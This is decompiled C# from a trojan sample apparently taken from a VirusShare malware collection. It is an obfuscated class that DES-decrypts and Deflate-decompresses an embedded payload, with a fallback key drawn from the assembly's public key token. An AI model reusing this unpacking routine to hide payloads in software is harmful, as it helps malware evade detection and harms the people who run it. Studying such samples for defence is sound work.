// Decompiled with JetBrains decompiler // Type: A.c7692e86eb2a74329ad9a7c19d9797b57 // Assembly: Service, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null // MVID: B7AA2EBA-E600-4CD2-B54D-4503D0055DE2 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.gxwf-aba0073bd9b9f0c6c0103f289f18d82411c0702308f5a0dbcae1b577edc263b3.exe using System; using System.IO; using System.IO.Compression; using System.Reflection; using System.Security.Cryptography; namespace A { internal class c7692e86eb2a74329ad9a7c19d9797b57 { internal static byte[] c12afc2e116cd62de076ec4482f164357( Stream c909fa9a92bf5403fbbc986c01f0df32a) { byte num1 = (byte) c909fa9a92bf5403fbbc986c01f0df32a.ReadByte(); byte[] numArray = new byte[c909fa9a92bf5403fbbc986c01f0df32a.Length - 1L]; c909fa9a92bf5403fbbc986c01f0df32a.Read(numArray, 0, numArray.Length); if (((int) num1 & 1) != 0) { DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); byte[] dst1 = new byte[8]; Buffer.BlockCopy((Array) numArray, 0, (Array) dst1, 0, 8); cryptoServiceProvider.IV = dst1; byte[] dst2 = new byte[8]; Buffer.BlockCopy((Array) numArray, 8, (Array) dst2, 0, 8); bool flag = true; foreach (byte num2 in dst2) { if (num2 != (byte) 0) { flag = false; break; } } if (flag) dst2 = Assembly.GetExecutingAssembly().GetName().GetPublicKeyToken(); cryptoServiceProvider.Key = dst2; numArray = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(numArray, 16, numArray.Length - 16); } if (((int) num1 & 2) != 0) { try { MemoryStream memoryStream1 = new MemoryStream(numArray); DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); MemoryStream memoryStream2 = new MemoryStream((int) memoryStream1.Length * 2); int count1 = 1000; byte[] buffer = new byte[count1]; int count2; do { count2 = deflateStream.Read(buffer, 0, count1); if (count2 > 0) memoryStream2.Write(buffer, 0, count2); } while (count2 >= count1); numArray = memoryStream2.ToArray(); } catch (Exception ex) { } } return numArray; } } }